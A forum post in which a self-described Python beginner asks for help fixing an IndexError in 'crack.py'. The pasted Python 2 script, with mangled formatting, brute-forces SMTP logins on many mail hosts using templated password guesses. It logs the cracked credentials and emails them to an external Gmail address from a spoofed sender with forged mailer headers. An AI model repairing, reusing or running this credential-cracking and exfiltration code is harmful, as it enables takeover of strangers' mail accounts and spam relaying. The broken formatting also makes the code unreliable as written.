By using this site, you agree to our updated Privacy Policy and our Terms of Use. Manage your Cookies Settings.
424,961 Members | 1,333 Online
Bytes IT Community
+ Ask a Question
Need help? Post your question and get tips & solutions from a community of 424,961 IT Pros & Developers. It's quick & easy.

IndexError: list index out of range ( needs to be solved am lost _(

P: 1
Hi guys

so am new to python trying to see if i can parch thinsgs up but no wont work
kkeep getting thhis error.

Traceback (most recent call last):
File "crack.py", line 434, in <module>
quee.put((i.split('@')[1],i,p))
IndexError: list index out of range


here is the code dont know what is exactly wrong,

Expand|Select|Wrap|Line Numbers
  1. import socket,threading,base64,datetime,sys,ssl,imaplib,time,re
  2. try:
  3.     import Queue
  4. except:
  5.     import queue as Queue
  6.  
  7. to_check={}
  8. class IMAP4_SSL(imaplib.IMAP4_SSL):
  9.     # Similar to above, but with extended support for SSL certificate checking,
  10.     # 
  11.  
  12. fingerprints, etc.
  13.     def __init__(self, host='', port=imaplib.IMAP4_SSL_PORT, keyfile=None, 
  14.                  certfile=None, 
  15.  
  16. ssl_version=None, ca_certs=None, 
  17.                  ssl_ciphers=None,timeout=40):
  18.        self.ssl_version = ssl_version
  19.  
  20.  
  21. self.ca_certs = ca_certs
  22.        self.ssl_ciphers = ssl_ciphers
  23.        self.timeout=timeout
  24.        imaplib.IMAP4_SSL.__init__(self, 
  25.  
  26. host, port, keyfile, certfile)
  27.  
  28.     def open(self, host='', port=imaplib.IMAP4_SSL_PORT):
  29.        self.host = host
  30.        self.port = 
  31.  
  32. port
  33.        self.sock = socket.create_connection((host, port),self.timeout)
  34.        extra_args = {}
  35.        if self.ssl_version:
  36.  
  37.  
  38.   extra_args['ssl_version'] = self.ssl_version
  39.        if self.ca_certs:
  40.            extra_args['cert_reqs'] = ssl.CERT_REQUIRED
  41.  
  42.  
  43.    extra_args['ca_certs'] = self.ca_certs
  44.        if self.ssl_ciphers:
  45.            extra_args['ciphers'] = self.ssl_ciphers
  46.  
  47.  
  48.  
  49. self.sslobj = ssl.wrap_socket(self.sock, self.keyfile, self.certfile, 
  50.                                      **extra_args)
  51.  
  52.  
  53. self.file = self.sslobj.makefile('rb')
  54. class checkerr(threading.Thread):
  55.     def __init__(self,host,user,pwd,timeout,interval):
  56.  
  57.  
  58. t=threading.Thread.__init__(self)
  59.         self.host=host
  60.         self.user=user
  61.         self.pwd=pwd
  62.  
  63.  
  64. self.interval=interval
  65.         self.timeout=timeout
  66.         self.connected=False
  67.         self.i=None
  68.  
  69.  
  70. self.work=True
  71.         self.attemp=4
  72.         self.inbox=''
  73.         self.spam=''
  74.     def connect(self):
  75.         try:
  76.  
  77.  
  78.     i=IMAP4_SSL(host=self.host,port=993)
  79.  
  80.             i.login(self.user,self.pwd)
  81.  
  82.  
  83. #print 1
  84.             self.i=i
  85.             self.connected=True
  86.         except Exception,e:
  87.  
  88.  
  89. print str(e)
  90.             i.close()
  91.             self.connected=False
  92.     def find(self):
  93.         global to_check
  94.  
  95.  
  96. if self.inbox=='':
  97.             rez,folders=self.i.list()
  98.             for f in folders:
  99.  
  100.  
  101. if '"|" ' in f:
  102.                     a=f.split('"|" ')
  103.                 elif '"/" ' in f:
  104.  
  105.  
  106.         a=f.split('"/" ')
  107.                 folder=a[1].replace('"','')
  108.                 if 
  109.  
  110. self.inbox=="":
  111.                     if 'inbox' in folder.lower():
  112.  
  113.  
  114. self.inbox=folder
  115.                 elif self.spam=="":
  116.                     if 'spam' in folder.lower
  117.  
  118. ():
  119.                         self.spam=folder
  120.             if self.spam=='':
  121.  
  122.  
  123. for f in folders:
  124.                     if '"|" ' in f:
  125.                         a=f.split('"|" ')
  126.  
  127.  
  128.                 elif '"/" ' in f:
  129.                         a=f.split('"/" ')
  130.  
  131.  
  132.         folder=a[1].replace('"','')
  133.                     if self.spam=="":
  134.  
  135.  
  136.     if 'trash' in folder:
  137.                             self.spam=folder
  138.  
  139.  
  140. else:
  141.                         break
  142.         print '[+] Checking for emails'
  143.         self.i.select(self.inbox)
  144.  
  145.  
  146.     found=[]
  147.         for k,t in enumerate(to_check):
  148.             rez=self.i.search(None,'SUBJECT',t[0])
  149.  
  150.  
  151. times=time.time()-t[1]
  152.             if times-2>self.timeout:
  153.  
  154.  
  155.  
  156. open('checked.txt','a').write(t[0]+"| NOTFOUND | %.2f sec\n"%times)
  157.                 found.append(k)
  158.  
  159.             if len(rez)>0:
  160.                 open('checked.txt','a').write(t[0]+"| INBOX | %.2f sec\n"%times)
  161.  
  162.  
  163.             found.append(k)
  164.         self.i.select(self.spam)
  165.         for k,t in enumerate(to_check):
  166.  
  167.  
  168. rez=self.i.search(None,'SUBJECT',t[0])
  169.             times=time.time()-t[1]
  170.             if times-2>self.timeout:
  171.  
  172.  
  173.  
  174.                 open('checked.txt','a').write(t[0]+"| NOTFOUND | %.2f sec\n"%times)
  175.  
  176.  
  177.     found.append(k)
  178.             if len(rez)>0:
  179.                 open('checked.txt','a').write(t[0]+"| SPAM | %.2f 
  180.  
  181. sec\n"%times)
  182.                 found.append(k)
  183.         new=[]
  184.         for k,v in enumerate(to_check):
  185.             if 
  186.  
  187. k not in found:
  188.                 new.append(v)
  189.         to_check=new
  190.         print to_check
  191.  
  192.     def run(self):
  193.  
  194.  
  195. global to_checks
  196.         while self.work:
  197.             if not self.connected:
  198.                 if 
  199.  
  200. self.attemp<=0:
  201.                     return 0
  202.                 self.connect()
  203.  
  204.  
  205. self.attemp-=1
  206.             if len(to_check)>0:
  207.                 self.find()
  208.             time.sleep
  209.  
  210. (self.interval)
  211.  
  212.  
  213. def tld2(dom):
  214.         global tlds
  215.         if "." not in dom:
  216.             return ""
  217.  
  218.  
  219. dom=dom.lower()
  220.         parts=dom.split(".")
  221.         if len(parts)<2 or parts[0]=="" or parts[1]=="":
  222.  
  223.  
  224. return ""
  225.         tmp=parts[-1]
  226.  
  227.         for i,j in enumerate(parts[::-1][1:5]):
  228.  
  229.             try:
  230.  
  231.  
  232.         #print tmp
  233.                 tmp=tlds[tmp]
  234.                 tmp=j+"."+tmp
  235.  
  236.  
  237. except:
  238.                 if i==0:
  239.                     return ""
  240.                 return tmp
  241.  
  242.  
  243.     return tmp
  244. class consumer(threading.Thread):
  245.     def __init__(self,qu):
  246.         threading.Thread.__init__(self)
  247.  
  248.  
  249. self.q=qu
  250.         self.hosts=["","smtp.","mail.","webmail."]
  251.         self.ports=[25,465,587,110,26,2525]
  252.  
  253.  
  254.  
  255. self.timeout=13
  256.  
  257.     def sendCmd(self,sock,cmd):
  258.         sock.send(cmd+"\r\n")
  259.         return sock.recv(5000)
  260.     def addBad
  261.  
  262. (self,ip):
  263.         global bads,rbads
  264.         if rbads:
  265.             open('bads.txt','a').write(ip+'\n')
  266.  
  267.  
  268.     bads.append(ip)
  269.         return -1
  270.     def findHost(self,host):
  271.         global cache,bads,rbads
  272.  
  273.  
  274. s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  275.         s.setblocking(0)
  276.         s.settimeout(self.timeout)
  277.  
  278.  
  279.  
  280. try:
  281.             d=cache[host]
  282.             try:
  283.                 if self.ports[d[1]]==465:
  284.  
  285.  
  286.         s=ssl.wrap_socket(s)
  287.                 s.connect((self.hosts[d[0]]+host,self.ports[d[1]]))
  288.  
  289.  
  290.     return s
  291.             except Exception,e:
  292.                 #print str(e)
  293.                 if 
  294.  
  295. rbads:
  296.                     bads.append(host)
  297.                     open('bads.txt','a').write(host
  298.  
  299. +'\n')
  300.                 return None
  301.         except KeyError:
  302.             pass
  303.         print '[*] 
  304.  
  305. Searching smtp host+port on'+host
  306.         cache[host]=[-1,-1]
  307.         for i,p in enumerate(self.ports):
  308.  
  309.  
  310. for j,h in enumerate(self.hosts):
  311.  
  312.                 try:
  313.  
  314.  
  315. print '[*] Trying connection on '+h+host+':'+str(p)
  316.  
  317.                     s=socket.socket
  318.  
  319. (socket.AF_INET,socket.SOCK_STREAM)
  320.                     s.setblocking(0)
  321.  
  322.  
  323. s.settimeout(self.timeout)
  324.                     if p==465:
  325.  
  326.  
  327. s=ssl.wrap_socket(s)
  328.                     s.connect((h+host,p))
  329.                     cache[host]=[j,i]
  330.  
  331.  
  332.  
  333.                 return s
  334.                 except Exception,e:
  335.  
  336.  
  337. #print str(e)
  338.  
  339.                     continue
  340.         bads.append(host)
  341.  
  342.  
  343.     del cache[host]
  344.         open('bads.txt','a').write(host+'\n')
  345.         return None
  346.  
  347.     def getPass
  348.  
  349. (self,passw,user,domain):
  350.         passw=str(passw)
  351.  
  352.         if '%null%' in passw:
  353.  
  354.  
  355. return ""
  356.         elif '%user%' in passw:
  357.             user=user.replace('-','').replace('.','').replace('_','')
  358.  
  359.  
  360.     return passw.replace('%user%',user)
  361.         elif '%User%' in user:
  362.             user=user.replace('-','').replace
  363.  
  364. ('.','').replace('_','')
  365.             return passw.replace('%User%',user)
  366.         elif '%special%' in user:
  367.  
  368.  
  369.     user=user.replace('-','').replace('.','').replace('_','').replace('e','3').replace('i','1').replace('a','@')
  370.  
  371.  
  372. return passw.replace('%special%',user)
  373.         elif '%domain%' in passw:
  374.             return passw.replace('%domain
  375.  
  376. %',domain.replace("-",""))
  377.         if '%part' in passw:
  378.             if '-' in user:
  379.  
  380.  
  381. parts=user.split('-')
  382.             elif '.' in user:
  383.                 parts=user.split('.')
  384.  
  385.  
  386. elif '_' in user:
  387.                 parts=user.split('_')
  388.             print parts                
  389.  
  390.  
  391.         try:
  392.                 h=passw.replace('%part','').split('%')[0]
  393.                 i=int(h)
  394.  
  395.  
  396.  
  397.             p=passw.replace('%part'+str(i)+'%',parts[i-1])
  398.                 return p
  399.  
  400.  
  401. except Exception,e:
  402.                 return None
  403.         return passw
  404.  
  405.     def connect(self,tupple,ssl=False):
  406.  
  407.  
  408. global bads,cracked,cache,email
  409.  
  410.         host=tupple[0].rstrip()
  411.         host1=host
  412.         user=tupple
  413.  
  414. [1].rstrip()
  415.  
  416.         if host1 in cracked or host1 in bads:
  417.             return 0
  418.  
  419.  
  420. passw=self.getPass(tupple[2].rstrip(),user.rstrip().split('@')[0],host.rstrip().split('.')[0])
  421.         if passw==None:
  422.  
  423.  
  424. return 0
  425.         try:
  426.             if cache[host][0]==-1:
  427.                 return 0
  428.         except 
  429.  
  430. KeyError:
  431.             pass
  432.         s=self.findHost(host)
  433.         if s==None:
  434.             return -1
  435.  
  436.  
  437. #print cache[host][0]
  438.  
  439.         port=str(self.ports[cache[host][1]])
  440.         if port=="465":
  441.  
  442.  
  443. port+="(SSL)"
  444.         host=self.hosts[cache[host][0]]+host
  445.         print '[+] Try '+host+":"+port+" "+user+" "+passw
  446.  
  447.  
  448. try:
  449.  
  450.             banner=s.recv(1024)
  451.             #print "'"+banner+"'"
  452.  
  453.  
  454. #exit()
  455.             if banner[0:3]!="220":
  456.                 self.sendCmd(s,'QUIT')
  457.                 s.close()
  458.  
  459.  
  460.             return self.addBad(host1)
  461.             rez=self.sendCmd(s,"EHLO ADMIN")
  462.  
  463.  
  464. #print rez
  465.             rez=self.sendCmd(s,"AUTH LOGIN")
  466.             #print rez
  467.             if rez
  468.  
  469. [0:3]!='334':
  470.                 self.sendCmd(s,'QUIT')
  471.                 s.close()
  472.  
  473.  
  474. return self.addBad(host1)
  475.             rez=self.sendCmd(s,base64.b64encode(user))
  476.             if rez[0:3]!='334':
  477.  
  478.  
  479.             self.sendCmd(s,'QUIT')
  480.                 s.close()
  481.                 return self.addBad
  482.  
  483. (host1)
  484.  
  485.             rez=self.sendCmd(s,base64.b64encode(passw))
  486.         #    print rez
  487.  
  488.  
  489.     if rez[0:3]!="235" or 'fail' in rez:
  490.                 self.sendCmd(s,'QUIT')
  491.                 s.close()
  492.  
  493.  
  494.             return 0
  495.             print '[!] WOLFS AUAUAUUAAU '+host+':'+port+' '+user+' '+passw
  496.  
  497.  
  498. open('cracked.txt','a').write(host+":"+port+","+user+","+passw+"\n")
  499.             cracked.append(host1)
  500.  
  501.             rez=self.sendCmd(s,"RSET")
  502.             if rez[0:3]!='250':
  503.  
  504.  
  505. self.sendCmd(s,'QUIT')
  506.                 s.close()
  507.                 return self.addBad(host1)
  508.  
  509.  
  510. rez=self.sendCmd(s,"MAIL FROM: <postmaster@khorasan.ac.ir>")
  511.  
  512.             print rez
  513.  
  514.  
  515.     if rez[0:3]!='250':
  516.                 self.sendCmd(s,'QUIT')
  517.                 s.close()
  518.  
  519.  
  520.     return self.addBad(host1)
  521.             rez=self.sendCmd(s,"RCPT TO: <"+email+">")
  522.             #print rez
  523.  
  524.  
  525.         if rez[0:3]!='250':
  526.                 self.sendCmd(s,'QUIT')
  527.                 s.close()
  528.  
  529.  
  530.         return self.addBad(host1)
  531.             rez=self.sendCmd(s,'DATA')
  532.             headers='From: 
  533.  
  534. "GioKay SMTPCrack" <postmaster@khorasan.ac.ir>\r\n'
  535.             headers+='To: '+email+'\r\n'
  536.             headers
  537.  
  538. +='Reply-To: '+email+'\r\n'
  539.  
  540.             headers+='Subject: %s:%s %s 
  541.  
  542. %s'%(host,port,user,passw)+'\r\n'
  543.             headers+='MIME-Version: 1.0\r\n'
  544.             headers+='Content-
  545.  
  546. Transfer-encoding: 8bit\r\n'
  547.             headers+='Return-Path: postmaster@khorasan.ac.ir\r\n'
  548.             headers
  549.  
  550. +='X-Priority: 1\r\n'
  551.             headers+='X-MSmail-Priority: High\r\n'
  552.             headers+='X-Mailer: Microsoft 
  553.  
  554. Office Outlook, Build 11.0.5510\r\n'
  555.             headers+='X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441\r\n'
  556.  
  557.  
  558.     headers+='HEllo\r\n.\r\n'
  559.                 #print headers
  560.             s.send(headers)
  561.  
  562.  
  563. rez=s.recv(1000)
  564.  
  565.             self.sendCmd(s,'QUIT')
  566.             s.close()
  567.  
  568.  
  569. except Exception,e:
  570.             #print str(e)
  571.             open('hm.txt','a').write(host+":"+port+":"+str(e)+"\n")
  572.  
  573.  
  574.     s.close()
  575.             return self.addBad(host1)
  576.     def run(self):
  577.         while True:
  578.  
  579.  
  580. cmb=self.q.get()
  581.             self.connect(cmb)
  582.             #print cmb
  583.             self.q.task_done()
  584. quee=Queue.Queue(maxsize=20000)
  585. tld=open('tlds.txt','r').read().splitlines()
  586. tlds=cache={}
  587. bads=[]
  588. cracked=[]
  589. rbads=0
  590. email='verifcation.noreply.amazon@gmail.com'
  591.  
  592. try:
  593.  
  594.     passwords=open('pwd','r').read().splitlines()
  595. except Exception,e:
  596.  
  597.  
  598.  
  599. print "File 'pwd' missing"
  600.     exit()
  601.  
  602. inputs=open(sys.argv[1],'r').read().splitlines()
  603. option=sys.argv[3]
  604.  
  605.  
  606.  
  607. if option=='1':
  608.     try:
  609.  
  610.  
  611.  
  612. users=open('usr','r').read().splitlines()
  613.     except Exception,e:
  614.  
  615.         print "You chosed domains + users bruteforce and 
  616.  
  617. 'usr' is missing"
  618.         exit()
  619. if len(sys.argv)>4:
  620.     rbads=1
  621.  
  622. def part():
  623.     global tld,tlds
  624.     for i in tld:
  625.  
  626.  
  627. tlds[i]=i
  628. part()
  629. print '[+] All files loaded'
  630.  
  631.  
  632. for i in range(int(sys.argv[2])):
  633.     try:
  634.         t=consumer(quee)
  635.  
  636.  
  637. t.setDaemon(True)
  638.         t.start()
  639.     except:
  640.         print "Working only with %s threads"%i
  641.         break
  642. if 
  643.  
  644. option=='3':
  645.     pass
  646.     #checking cracked
  647. elif option=='2':
  648.     #list of emails and password
  649.     for i in inputs:
  650.  
  651.  
  652. c=i.split(":")
  653.         quee.put((c[0].split('@')[1],c[0],c[1]))
  654. elif option=='1':
  655.     #domains users and password
  656.     for p in 
  657.  
  658. passwords:
  659.         for u in users:
  660.             for i in inputs:
  661. #                t=tld2(i)
  662.  #                 
  663.  
  664.               print t
  665. #                if t!='':
  666.                     quee.put((i.lower(),u+"@"+i,p))
  667. elif 
  668.  
  669. option=='0':
  670.     #emails and password
  671.     for p in passwords:
  672.         for i in inputs:
  673.                         i=i.lower()
  674.  
  675.  
  676.     quee.put((i.split('@')[1],i,p))
  677. quee.join()

thanks guys appreciation remember it as to do with long list
Aug 5 '17 #1
Share this question for a faster answer!
Share on Google+

Post your reply

Sign in to post your reply or Sign up for a free account.